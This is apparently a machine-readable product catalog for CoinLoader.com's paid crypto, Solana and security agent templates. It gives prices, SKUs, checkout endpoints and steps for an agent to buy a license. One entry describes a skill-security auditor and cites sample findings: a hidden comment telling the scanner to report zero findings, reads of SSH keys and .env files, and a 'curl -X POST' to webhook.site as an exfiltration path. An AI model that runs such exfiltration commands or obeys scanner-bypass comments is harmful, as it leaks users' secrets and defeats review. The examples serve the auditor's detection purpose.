# CoinLoader.com — Crypto, Solana & Security Agent Templates for Grok Bot

> Instant, one-click crypto, Solana, security, and web agent templates that execute locally inside your isolated Grok Bot Linux container (`/workspace`). Non-custodial, zero monthly subscriptions, and powered by the WattCoin Agent Registry (`https://www.wattcoin.org/llms.txt`).

> **Dual Runtime in Every Product:** every license key unlocks both (1) a 1-Click Grok Bot skill bundle (`https://x.ai/bot/...`) and (2) a standalone, deterministic, zero-dependency Python 3.10+ single-file CLI (`/runtime/*.py`, standard library only, no `pip install`, `--json` / `--markdown` output) that runs locally in Cursor, Claude Code, Windsurf, CI/CD pipelines (e.g. GitHub Actions), and any macOS/Linux/Windows terminal.

- **Canonical Storefront:** https://coinloader.com/
- **Machine-Readable Catalog:** https://coinloader.com/llms.txt
- **Full Catalog + Verbatim Sample Reports:** https://coinloader.com/llms-full.txt
- **Product Catalog (JSON):** https://coinloader.com/catalog.json — every live SKU with USD price, inputs/outputs, when-to-use and checkout instructions; no auth, CORS-enabled.
- **Sister OSINT & Enterprise Storefront:** https://botappstore.com/
- **Value Bundles (Multi-Bot Packs, one `wcl_...` key unlocks all included bots):** https://coinloader.com/#bundles — `defi-wallet-security-pack` ($59 in SOL); `pro-trader-perps-suite` ($69 in SOL); `token-launch-command-center` ($49 in SOL)
- **Free Web & API Text Extractor ($0):** https://coinloader.com/bots/web-text-extractor.html (Direct Grok Bot import: https://x.ai/bot/k1oyHmw4iS4VBW1U8_3Ol)
- **Bot & Skill Security Auditor ($29 in SOL, `sku: bot-skill-auditor`):** https://coinloader.com/bots/bot-skill-auditor.html
- **Solana Wallet Hygiene Bot ($19 in SOL, `sku: solana-wallet-hygiene`, Registry Name: *Solana Wallet Hygiene & Rent Reclaim*):** https://coinloader.com/bots/solana-wallet-hygiene.html
- **Retail Token Due-Diligence Bot ($29 in SOL, `sku: solana-token-scanner`, Registry Name: *Solana Token & Mint Due-Diligence Scanner*):** https://coinloader.com/bots/solana-token-scanner.html
- **Token Launch Command Center ($49 in SOL, `sku: token-launch-command-center`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/token-launch-command-center.html
- **Pump.fun Coin & Community Manager ($29 in SOL, `sku: pumpfun-coin-manager`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/pumpfun-coin-manager.html
- **EVM Smart Contract & Proxy Inspector ($29 in SOL, `sku: evm-contract-inspector`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/evm-contract-inspector.html (runtime: https://coinloader.com/runtime/evm_contract_inspector.py, SHA-256 `036398c44b16fb9b59ba72dfc3ea1872dcb93296d16b3efd190a0fa249074820`; https://coinloader.com/runtime/bot_common.py, SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`)
- **EVM Wallet Approval & Permit2 Risk Auditor ($19 in SOL, `sku: evm-approval-auditor`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/evm-approval-auditor.html (runtime: https://coinloader.com/runtime/evm_approval_auditor.py, SHA-256 `eab5dc79cb998a2ac39093748e6aba186f88a23e28f1155f807ade3a02eaa518`; https://coinloader.com/runtime/bot_common.py, SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`; live Ethereum mainnet sample: https://coinloader.com/bots/evm-approval-auditor.html#sample-output and https://coinloader.com/llms-full.txt)
- **Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor ($19 in SOL, `sku: btc-utxo-hygiene`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/btc-utxo-hygiene.html (runtime: https://coinloader.com/runtime/btc_utxo_hygiene.py, SHA-256 `e3b8d9be91fb2ae75d272fea248d484a2c4076fd472e40eaef73ea903257d5ee`; https://coinloader.com/runtime/bot_common.py, SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`; live Bitcoin mainnet sample: https://coinloader.com/bots/btc-utxo-hygiene.html#sample-output and https://coinloader.com/llms-full.txt)
- **Hyperliquid Perps, Funding & Liquidation Risk Monitor ($29 in SOL, `sku: hyperliquid-monitor`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/hyperliquid-monitor.html (runtime: https://coinloader.com/runtime/hyperliquid_monitor.py, SHA-256 `d9b8b58b9be66617177c238b195c3393ec817dfc591366797fa30f582db7f952`; https://coinloader.com/runtime/bot_common.py, SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`; live Hyperliquid L1 sample: https://coinloader.com/bots/hyperliquid-monitor.html#sample-output and https://coinloader.com/llms-full.txt)
- **Cross-Chain Token RugScore & Honeypot Scanner ($29 in SOL, `sku: token-rugscore`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/token-rugscore.html (runtime: https://coinloader.com/runtime/token_rugscore.py; rule IDs `RS-SOL-01..05`, `RS-EVM-01..04`; also included in `defi-wallet-security-pack` and `pro-trader-perps-suite`)
- **Multi-Chain Cost-Basis, Wash-Sale & Tax Lot Auditor ($29 in SOL, `sku: cost-basis-ledger`, LIVE NOW - instant on-chain SOL checkout):** https://coinloader.com/bots/cost-basis-ledger.html (runtime: https://coinloader.com/runtime/cost_basis_ledger.py; rule IDs `CB-WASH-01`, `CB-FEE-01`, `CB-LOT-01`, `CB-HIFO-01`, `CB-STLT-01`; live sample: https://coinloader.com/bots/cost-basis-ledger.html#sample-output)

- **Runtime downloads are license-gated:** `/runtime/` URLs need `X-License-Key: wcl_...` or `X-Agent-Key: wck_...` (unauthenticated requests get `401`). The served file carries a per-license watermark block (5 lines), so compare the `X-Canonical-SHA256` response header (or the SHA-256 after stripping the block) against the pins listed here. Recommended: the setup skill installer (`/workspace/.wattcoin_license_check.py --sku <sku> --install-runtime ... --expected-sha256 <pin>`). `bot_common.py` has two pinned variants chosen by SKU: `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526` (legacy; served for the older SKUs such as `evm-contract-inspector`, `evm-approval-auditor`, `btc-utxo-hygiene`, `hyperliquid-monitor`, `pumpfun-coin-manager`, `token-launch-command-center`) and `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1` (current; `token-rugscore`, `cost-basis-ledger`).

## When to use

One line per live listing (12). Each is a single-file local Python 3.10+ runtime plus a Grok Bot skill bundle; prices are one-time USD, paid in SOL (card also accepted).

- **Web & API Text Extractor (free):** Use when an agent needs readable text from a public web page or API response; input: a public URL; output: clean text (html/json modes cost 100 WATT/call; 10 free text calls/day); call: free, no checkout: import https://x.ai/bot/k1oyHmw4iS4VBW1U8_3Ol or call POST https://www.wattcoin.org/api/v1/scrape, page https://coinloader.com/bots/web-text-extractor.html
- **Bot & Skill Security Auditor ($29):** Use when an agent needs a static security review of a third-party skill or bot before running it; input: skill/bot files or a repo; output: line-cited findings in 5 buckets plus a Files Audited / Skipped scope note; call: `sku: bot-skill-auditor`, checkout https://coinloader.com/#card-bot-skill-auditor, page https://coinloader.com/bots/bot-skill-auditor.html
- **Solana Wallet Hygiene ($19):** Use when an agent needs to find reclaimable rent and stale delegations on a Solana wallet; input: a public wallet address; output: SAFE_TO_RECLAIM / NEEDS_CONFIRMATION / DO_NOT_TOUCH report with exact rent and CLI commands you run yourself; call: `sku: solana-wallet-hygiene`, checkout https://coinloader.com/#card-solana-wallet-hygiene, page https://coinloader.com/bots/solana-wallet-hygiene.html
- **Solana Token Due-Diligence Scanner ($29):** Use when an agent needs verifiable on-chain facts about a Solana mint; input: a mint address; output: 5-section report: authorities, Token-2022 extensions, top-20 holders, DEX liquidity, scope note (no safe/scam verdicts); call: `sku: solana-token-scanner`, checkout https://coinloader.com/#card-solana-token-scanner, page https://coinloader.com/bots/solana-token-scanner.html
- **Pump.fun Coin & Community Manager ($29):** Use when an agent needs a read-only audit and change monitor for a Pump.fun coin; input: a mint address (optional expected website/Discord/X); output: audit findings, 16-key delta events, reply drafts for a human to post; call: `sku: pumpfun-coin-manager`, checkout https://coinloader.com/#card-pumpfun-coin-manager, page https://coinloader.com/bots/pumpfun-coin-manager.html
- **Token Launch Command Center ($49):** Use when an agent needs a launch audit plus gated, approval-checked social drafting; input: a mint address and a launch config; output: audit, queued fact-only drafts with lint and HMAC approval, dry-run dispatch; call: `sku: token-launch-command-center`, checkout https://coinloader.com/#card-token-launch-command-center, page https://coinloader.com/bots/token-launch-command-center.html
- **EVM Contract & Proxy Inspector ($29):** Use when an agent needs to resolve proxy upgradeability, admin and source verification for an EVM contract; input: contract address on Ethereum, Base or Arbitrum; output: implementation/admin/beacon slots, Safe/Timelock classification, opcode flags, delta events; call: `sku: evm-contract-inspector`, checkout https://coinloader.com/#card-evm-contract-inspector, page https://coinloader.com/bots/evm-contract-inspector.html
- **EVM Approval & Permit2 Risk Auditor ($19):** Use when an agent needs to list risky token approvals and Permit2 allowances for a wallet; input: wallet address on Ethereum, Base or Arbitrum; output: spenders classified by risk with revoke call-data you submit yourself; call: `sku: evm-approval-auditor`, checkout https://coinloader.com/#card-evm-approval-auditor, page https://coinloader.com/bots/evm-approval-auditor.html
- **Bitcoin UTXO Privacy/Fee Hygiene Auditor ($19):** Use when an agent needs a privacy and fee review of a Bitcoin address; input: a mainnet address; output: UTXO and address-reuse findings, consolidation cost matrix, coin-control commands you run yourself; call: `sku: btc-utxo-hygiene`, checkout https://coinloader.com/#card-btc-utxo-hygiene, page https://coinloader.com/bots/btc-utxo-hygiene.html
- **Hyperliquid Risk Monitor ($29):** Use when an agent needs liquidation distance, stop coverage and funding checks for Hyperliquid perps; input: a public account address; output: position risk report, cross-venue funding APR, mark-oracle basis, HLP vault posture; call: `sku: hyperliquid-monitor`, checkout https://coinloader.com/#card-hyperliquid-monitor, page https://coinloader.com/bots/hyperliquid-monitor.html
- **Cross-Chain Token RugScore ($29):** Use when an agent needs a deterministic 0-100 rug/honeypot score for a token; input: a Solana mint or an Ethereum/Base/Arbitrum token contract; output: RugScore, risk tier, rule IDs and an audit_sha256; call: `sku: token-rugscore`, checkout https://coinloader.com/#card-token-rugscore, page https://coinloader.com/bots/token-rugscore.html
- **Cost-Basis, Wash-Sale & Tax Lot Auditor ($29):** Use when an agent needs a cost-basis and wash-sale audit; input: a normalized .json/.csv transaction export or a Solana/EVM/Bitcoin address; output: FIFO/LIFO/HIFO lots, Form 8949-style rows, wash-sale flags, audit_sha256 (not tax advice); call: `sku: cost-basis-ledger`, checkout https://coinloader.com/#card-cost-basis-ledger, page https://coinloader.com/bots/cost-basis-ledger.html

## How an agent buys

- **Card / Apple Pay / Google Pay (also accepted):** `POST https://www.wattcoin.org/api/v1/agents/license/stripe-checkout` with `{"sku": "<sku>", "storefront": "coinloader"}` returns a `checkout_url`, a hosted page a human pays on. After payment, `GET https://www.wattcoin.org/api/v1/agents/license/stripe-session/<session_id>` returns the `license_code` (`wcl_...`).
- **SOL:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "<sku>", "source": "coinloader"}` -> send the exact SOL amount with the memo -> `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `order_id`, `checkout_token`, `tx_signature`. To see a price without creating an order, send `{"sku": "<sku>", "dry_run": true}` to the quote endpoint.
- **Refunds:** available within 15 days of purchase; the license is revoked when a refund is issued. Support: https://coinloader.com/contact.html

## 1. Live Templates (Available Now — 12 Live Agents)

### 1.1 Web & API Text Extractor (FREE + 100 WATT Starter Grant)
- **Status:** LIVE NOW (Free)
- **Direct Import Link:** https://x.ai/bot/k1oyHmw4iS4VBW1U8_3Ol
- **Template ID:** `k1oyHmw4iS4VBW1U8_3Ol`
- **Included Skills:** `getting-started`, `web-extractor`
- **Capabilities:**
  1. **Turn-1 Auto-Onboarding (`getting-started`):** Registers a workspace agent identity via `POST https://www.wattcoin.org/api/v1/agents/register`, writes `WATTCOIN_AGENT_ID` and `WATTCOIN_AGENT_KEY` (`wck_...`) to `/workspace/.wattcoin_env` with `0600` permissions, and completes `onboarding_v1` (25 WATT) + `starter_v1` (75 WATT) for **100 WATT** total.
  2. **10/Day Free Text Extraction (`web-extractor`):** Calls `POST https://www.wattcoin.org/api/v1/scrape` (`format: "text"`) using static HTTP fetch + BeautifulSoup readable text extraction and reports `X-Quota-Limit` / `X-Quota-Remaining`.
  3. **Paid Modes & Local Fallback:** Supports 100 WATT/call `html` and `json` modes (never spends WATT without explicit user confirmation) and falls back to local `curl` + Python HTML-to-text in `/workspace` when daily quota is exhausted.

### 1.2 Bot & Skill Security Auditor ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal)
- **Deliverable:** *See every network call, credential read, and shell command in a third-party skill, with line numbers, before you run it.*
- **SKU Identifier:** `bot-skill-auditor`
- **Product Page URL:** https://coinloader.com/bots/bot-skill-auditor.html
- **Included Skills:** `auditor-setup`, `bot-skill-auditor`
- **Checkout & Licensing Flow:**
  1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "bot-skill-auditor"}` returns a 15-minute SOL quote (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:<order_id>"`, and official treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`).
  2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code.
  3. **Turn-1 Binding (`auditor-setup`):** Installs read-only helpers `/workspace/.wattcoin_license_check.py` and `/workspace/.wattcoin_audit_prep.py` (`0500`), registers/activates `/workspace/.wattcoin_env` (`0600`), and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (supports up to 3 workspace-reset rebinds).
  4. **5-Bucket Static Inspection (`bot-skill-auditor`):** Wraps untrusted artifacts in random `<untrusted_artifact_<16-hex>>` tags and reports verbatim line-cited findings across:
     - Bucket 1: Prompt, confirmation & auditor bypass (e.g., `crypto-airdrop-helper/SKILL.md:L14` hidden HTML comment instructing the scanner to report 0 findings)
     - Bucket 2: Secret, filesystem, self-modification & OS persistence access (e.g., `L29` reading `~/.ssh/id_ed25519` and `/workspace/.env`)
     - Bucket 3: Outbound network, exfiltration & MCP connectors (e.g., `L31` `curl -X POST https://webhook.site/...` paired with `L29` as a combined exfiltration path `L29 -> L31`)
     - Bucket 4: Unverifiable runtime execution & obfuscation (`curl | sh`, unpinned `npx`/`pip`, base64/hex payloads)
     - Bucket 5: Local machine escalation (`ListMachines`, `machineId`, `CopyToBox` / `CopyFromBox`)
  5. **Audit Coverage Accounting (`SCOPE_NOTE.txt`):** Prepends verbatim `SCOPE_NOTE.txt` and reports exact `Files Audited (N/M)` and `Files Skipped / Unread Portions` (plus `hidden_unicode_lines` and `long_lines`) at the top of every report.
  6. **What This Static Audit Does Not Catch:** Static inspection flags and cites lines present in the files at audit time (`Files Audited` / `Files Skipped`). It never proves a skill is safe, never outputs a "Safe/Pass" badge or numeric grade, and cannot catch payloads fetched dynamically at runtime, multi-stage remote API responses, time-bombed/state-gated logic, or off-file author/account compromise.

### 1.3 Solana Wallet Hygiene Bot ($19 One-Time in SOL)
- **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal)
- **Deliverable:** *Find the rent locked in empty token accounts and stale delegations on your wallet, then reclaim it yourself non-custodially.*
- **SKU Identifier:** `solana-wallet-hygiene`
- **Alternate / Registry Name:** Solana Wallet Hygiene & Rent Reclaim
- **Product Page URL:** https://coinloader.com/bots/solana-wallet-hygiene.html
- **Included Skills:** `wallet-hygiene-setup`, `solana-wallet-hygiene`
- **Storefront Checkout URL:** https://coinloader.com/#card-solana-wallet-hygiene
- **Checkout & Licensing Flow:**
  1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "solana-wallet-hygiene", "source": "coinloader"}` returns a 15-minute SOL quote for `$19.00 USD` (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:<order_id>"`, and treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`).
  2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"sku": "solana-wallet-hygiene", "order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code.
  3. **Turn-1 Binding:** Registers/activates `/workspace/.wattcoin_env` (`0600`) and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (up to 3 workspace-reset rebinds); entitlement check is `GET https://www.wattcoin.org/api/v1/agents/license?sku=solana-wallet-hygiene` -> `"sku_licensed": true`.
  4. **3-Bucket Report (`solana-wallet-hygiene`):** Scans legacy SPL (`Tokenkeg...`) and Token-2022 (`TokenzQd...`) accounts and classifies each as:
     - `SAFE_TO_RECLAIM`: empty accounts, no delegate, not frozen — exact rent of `0.00203928 SOL` (`2,039,280 lamports`) per standard SPL account
     - `NEEDS_CONFIRMATION`: active delegate / non-zero dust, confirmed one-by-one
     - `DO_NOT_TOUCH`: active balances, LP receipts, NFTs, frozen accounts, unharvested Token-2022 fees
  5. **Non-Custodial Reclaim Commands:** Phantom / Solflare steps and `spl-token close-account` / `spl-token revoke` CLI commands; the user signs everything.
  6. **Guardrails:** Never asks for a seed phrase or private key (refuses if pasted), never signs or broadcasts transactions.

### 1.4 Retail Token Due-Diligence Bot ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com or BotAppStore.com checkout modal)
- **Deliverable:** *Verifiable, timestamped on-chain facts for any Solana mint — mechanics, not motives.*
- **SKU Identifier:** `solana-token-scanner`
- **Alternate / Registry Name:** Solana Token & Mint Due-Diligence Scanner
- **Product Page URL:** https://coinloader.com/bots/solana-token-scanner.html
- **Included Skills:** `solana-token-scanner-setup`, `solana-token-scanner`
- **Storefront Checkout URL:** https://coinloader.com/#card-solana-token-scanner
- **Checkout & Licensing Flow:**
  1. **Request Quote:** `POST https://www.wattcoin.org/api/v1/agents/license/quote` with `{"sku": "solana-token-scanner", "source": "coinloader"}` returns a 15-minute SOL quote for `$29.00 USD` (`order_id`, `checkout_token`, `amount_sol`, `amount_lamports` with a unique 4-digit lamport tag, `memo: "wcl:<order_id>"`, and treasury wallet `Atu5phbGGGFogbKhi259czz887dSdTfXwJxwbuE5aF5q`).
  2. **Verify Payment & Issue License:** `POST https://www.wattcoin.org/api/v1/agents/license/purchase` with `{"sku": "solana-token-scanner", "order_id", "checkout_token", "tx_signature"}` verifies the Solana transfer on-chain (`confirmed` commitment) and returns the private Grok Bot template URL + one-time `wcl_<64-hex>` license code.
  3. **Turn-1 Binding:** Registers/activates `/workspace/.wattcoin_env` (`0600`) and binds the `wcl_...` license via `POST https://www.wattcoin.org/api/v1/agents/license/claim` (up to 3 workspace-reset rebinds); entitlement check is `GET https://www.wattcoin.org/api/v1/agents/license?sku=solana-token-scanner` -> `"sku_licensed": true`.
  4. **5-Section Report (`solana-token-scanner`):**
     - Section 1: Mint & Program Identity
     - Section 2: Authority & Token-2022 Extension Controls (`TransferFeeConfig`, `PermanentDelegate`, `TransferHook`, `DefaultAccountState`)
     - Section 3: Top-20 Holder Concentration (`getTokenLargestAccounts`)
     - Section 4: DEX Liquidity & Pair Snapshot (DexScreener)
     - Section 5: Mandatory Non-Advice Scope Note
  5. **Guardrails:** Never outputs "safe/unsafe", "legit", "scam", or "rug" labels and never assigns a numerical score; every metric cites its RPC call, slot/timestamp, or API source.
### 1.5 Pump.fun Coin & Community Manager ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **SKU Identifier:** `pumpfun-coin-manager`
- **Product Page URL:** https://coinloader.com/bots/pumpfun-coin-manager.html
- **Included Skills:** `pumpfun-coin-manager-setup`, `pumpfun-coin-manager`
- **Summary:** Read-only Pump.fun launch auditor and community-thread delta monitor for Grok Bot ($29 SOL). Finds missing links, creator bio/X gaps, empty Callouts and listing mismatches; drafts replies you review and post.
- **Capabilities:**
  - 16-key delta monitor (`--state` + `--delta`): authority reinstated, metadata URI changed, supply increased, ban or hidden coin, new Callouts and replies, fee-sharing and creator-profile edits, large new holders, creator sells, liquidity drops, pair dormant/active, closed link gaps, new bot followers.
  - Point-in-time audit: missing website/Discord/Telegram in IPFS metadata, creator bio vs `--expected-website`, `--expected-discord`, `--expected-x`, empty Callout tab, GeckoTerminal link gaps, dormant DexScreener pairs, RugCheck risks.
  - IPFS metadata read through two hash-verified gateways; Token-2022 authorities and extensions read from public Solana RPC.
  - `--draft-replies` emits a bio, creator anchor Callout, on-chain transparency Callout and per-Callout reply drafts. Exit codes 0/1/2/3 (clean/MEDIUM/HIGH/CRITICAL), 11 when data sources are degraded.
- **Boundaries:**
  - Never posts, signs, or holds keys; every Callout, reply and bio is a draft for a human.
  - Never suggests wash-trading to wake a dormant aggregator pair.
  - Never DMs or tags underwater holders, and never makes price or return claims.
  - Findings are heuristics with stated evidence, not verdicts.
- **Storefront Checkout URL:** https://coinloader.com/#card-pumpfun-coin-manager
- **Full Verbatim Sample:** https://coinloader.com/bots/pumpfun-coin-manager.html#sample-output and https://coinloader.com/llms-full.txt

### 1.6 Token Launch Command Center ($49 One-Time in SOL)
- **Status:** LIVE NOW ($49 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **SKU Identifier:** `token-launch-command-center`
- **Product Page URL:** https://coinloader.com/bots/token-launch-command-center.html
- **Included Skills:** `token-launch-command-center-setup`, `token-launch-command-center`
- **Summary:** Flagship Pump.fun launch bundle for Grok Bot ($49 SOL): coin audit and delta monitor plus a gated X / Discord / Telegram / Bluesky publisher with lint, HMAC approval and dry-run dispatch.
- **Capabilities:**
  - `command_center.py init` writes a config from `crypto_launch_preset.json` (banned-term list, link allowlist, X in free Web Intent mode).
  - `command_center.py audit MINT --queue` runs the read-only audit and queues fact-only drafts; Gate 1 lint runs on each draft.
  - Gate 2 re-verifies an HMAC over the exact approved text, expiry and lint before any send; edited text is refused. Dispatcher is a dry run unless `--live`.
  - X: free 1-click Web Intents by default; paid API (2026 pay-per-use, $0.015 plain post, $0.20 with a link) only with explicit opt-in.
  - Bundled modules are tested byte-identical to the standalone products.
- **Boundaries:**
  - No wallet keys, signing, or auto-posting; `--live` is explicit and per item.
  - No price, return or 'next X' claims; no safe/scam/rug verdicts.
  - No wash-trading advice, no unsolicited DMs or holder tags.
  - An ambiguous send is marked unknown and never retried automatically.
- **Storefront Checkout URL:** https://coinloader.com/#card-token-launch-command-center
- **Full Verbatim Sample:** https://coinloader.com/bots/token-launch-command-center.html#sample-output and https://coinloader.com/llms-full.txt

### 1.7 EVM Smart Contract & Proxy Inspector ($29 One-Time in SOL)
- **Status:** LIVE NOW ($29 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **SKU Identifier:** `evm-contract-inspector`
- **Product Page URL:** https://coinloader.com/bots/evm-contract-inspector.html
- **Included Skills:** `evm-contract-inspector-setup`, `evm-contract-inspector`
- **Summary:** Read-only EVM smart contract and proxy upgradeability inspector for Grok Bot ($29 SOL). Resolves EIP-1967, EIP-1822, EIP-1167 and ZeppelinOS proxy slots, Safe multisig and Timelock controllers, Sourcify v2 source verification, and dangerous opcodes across Ethereum, Base, and Arbitrum.
- **Capabilities:**
  - Batched JSON-RPC slot resolution across `Ethereum (`eth`, 1)`, `Base (`base`, 8453)`, and `Arbitrum One (`arb`, 42161)`: EIP-1967 (`implementation`, `admin`, `beacon`), EIP-1822 UUPS, ZeppelinOS legacy (`0x7050c9e0...` / `0x10d6a54a...`), and EIP-1167 minimal proxy clones.
  - Governance & controller chain probing (`--deep`, `--max-depth 2`): classifies Safe multisigs (`getThreshold()` / `getOwners()`), Timelocks (`getMinDelay()` / `delay()`), ProxyAdmin contracts, or single-key EOAs (`EOA_ADMIN`).
  - Source verification via `Sourcify v2` (`fields=abi,proxyResolution,compilation`) with Blockscout v2 fallback, plus CBOR-stripped opcode scanning that skips `PUSH1..PUSH32` immediate bytes before flagging `SELFDESTRUCT` (`0xff`) or unexpected `DELEGATECALL` (`0xf4`).
  - Stateful delta monitor (`--state PATH --delta`): emits `EVENT` / `NEW` / `CHANGED` / `RESOLVED` diffs whenever an implementation address, proxy admin, Safe threshold, or timelock delay changes. 100% Python stdlib, 55 unit tests.
- **Boundaries:**
  - Strictly read-only: never asks for private keys or seed phrases, and never builds, signs, or broadcasts transactions.
  - Never labels a contract 'safe', 'audited', or 'rug-proof'; an EOA admin is not proof of weak custody (HSM/MPC keys look identical on-chain).
  - Opcode scans are byte-level heuristics, not formal verification or a substitute for a source audit.
- **Storefront Checkout URL:** https://coinloader.com/#card-evm-contract-inspector
- **Full Verbatim Sample:** https://coinloader.com/bots/evm-contract-inspector.html#sample-output and https://coinloader.com/llms-full.txt

### 1.8 EVM Wallet Approval & Permit2 Risk Auditor ($19 One-Time in SOL)
- **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **SKU Identifier:** `evm-approval-auditor`
- **Product Page URL:** https://coinloader.com/bots/evm-approval-auditor.html
- **Included Skills:** `evm-approval-auditor-setup`, `evm-approval-auditor`
- **Runtime URL:** https://coinloader.com/runtime/evm_approval_auditor.py (SHA-256 `eab5dc79cb998a2ac39093748e6aba186f88a23e28f1155f807ade3a02eaa518`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`)
- **Summary:** Read-only EVM wallet approval and Permit2 risk auditor for Grok Bot ($19 SOL). Reads live ERC-20 allowances and Permit2 sub-allowances across Ethereum, Base, and Arbitrum, classifies every spender (EOA, unverified, unlabeled, or curated), and prints exact approve(spender, 0) revoke and Permit2 lockdown call-data that you submit yourself.
- **Capabilities:**
  - Live allowance reads across Ethereum (`eth`, 1), Base (`base`, 8453), and Arbitrum One (`arb`, 42161): ERC-20 `allowance(owner, spender)` plus Permit2 `allowance(owner, token, spender)` (amount, expiration, nonce) over curated stablecoins, WETH, WBTC and LSTs, Blockscout-discovered holdings, and bounded `eth_getLogs` Approval-event discovery (`--lookback-blocks`, default 20000).
  - Spender classification with balance-at-risk per pair: `EOA_SPENDER` and unverified unlabeled contracts (`UNVERIFIED_SPENDER`) are CRITICAL, unlimited allowances to unlabeled verified contracts (`UNKNOWN_VERIFIED_SPENDER`) are HIGH, unlimited allowances to curated spenders (Uniswap Permit2 & routers, 1inch, CoW Protocol, 0x, ParaSwap, Morpho Blue, Aave V3) are MEDIUM, plus `PERMIT2_ACTIVE_SUBALLOWANCE` / `PERMIT2_EXPIRED_SUBALLOWANCE`.
  - Non-custodial remediation call-data: exact `to` + `data` for `approve(spender, 0)` on each flagged token and a single batched Permit2 `lockdown((token, spender)[])` transaction, displayed for you to submit from your own wallet (Rabby, MetaMask, Safe, or hardware signer).
  - Stateful delta monitor (`--state PATH --delta`): emits `NEW_APPROVAL`, `ALLOWANCE_INCREASED`, and `APPROVAL_REVOKED` events between runs, with `--json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,181 lines stdlib Python, 87 passing unit tests.
- **Boundaries:**
  - Strictly read-only (`eth_blockNumber`, `eth_call`, `eth_getCode`, `eth_getStorageAt`, `eth_getLogs`): never asks for private keys or seed phrases, and never signs, builds for submission, or broadcasts a transaction.
  - “No findings” never means “no approvals exist”: coverage is the stated tokens, spenders, and log window. NFT `setApprovalForAll` and unlisted tokens/spenders are outside v1 unless supplied with `--tokens` / `--spenders`.
  - An unlabeled spender is unknown, not malicious; refuses to scan third-party wallets for exploitation, rank wallets by balance, or build phishing/drainer lists. Not financial, legal, or tax advice.
- **Storefront Checkout URL:** https://coinloader.com/#card-evm-approval-auditor
- **Full Verbatim Sample:** https://coinloader.com/bots/evm-approval-auditor.html#sample-output and https://coinloader.com/llms-full.txt

### 1.9 Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor ($19 One-Time in SOL)
- **Status:** LIVE NOW ($19 USD settled on-chain in SOL via CoinLoader.com checkout modal)
- **SKU Identifier:** `btc-utxo-hygiene`
- **Product Page URL:** https://coinloader.com/bots/btc-utxo-hygiene.html
- **Included Skills:** `btc-utxo-hygiene-setup`, `btc-utxo-hygiene`
- **Runtime URL:** https://coinloader.com/runtime/btc_utxo_hygiene.py (SHA-256 `e3b8d9be91fb2ae75d272fea248d484a2c4076fd472e40eaef73ea903257d5ee`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`)
- **Summary:** Read-only Bitcoin wallet and UTXO privacy/fee hygiene auditor for Grok Bot ($19 SOL). Reads address stats, UTXO sets, recent transactions and fee estimates from public Mempool.space / Blockstream Esplora endpoints, flags address reuse, dusting, fragmentation, stranded UTXOs, Ordinals inscriptions and common-input-ownership exposure, and prints coin-control and consolidation commands that you run yourself.
- **Capabilities:**
  - Validates Bitcoin mainnet addresses (Base58Check, Bech32, Bech32m) and reads address stats, the UTXO set, recent transactions, fee estimates and BTC/USD price from public Mempool.space with Blockstream Esplora fallback (or an `--offline` fixture).
  - UTXO hygiene: value buckets, `UTXO_FRAGMENTATION`, `STRANDED_UTXOS`, `LEGACY_SCRIPT_TYPE`, `DUSTING_ATTACK_SUSPECT`, and a creating-transaction witness scan that marks Ordinals-inscription UTXOs (`INSCRIPTION_PROTECTED`) so they are never swept.
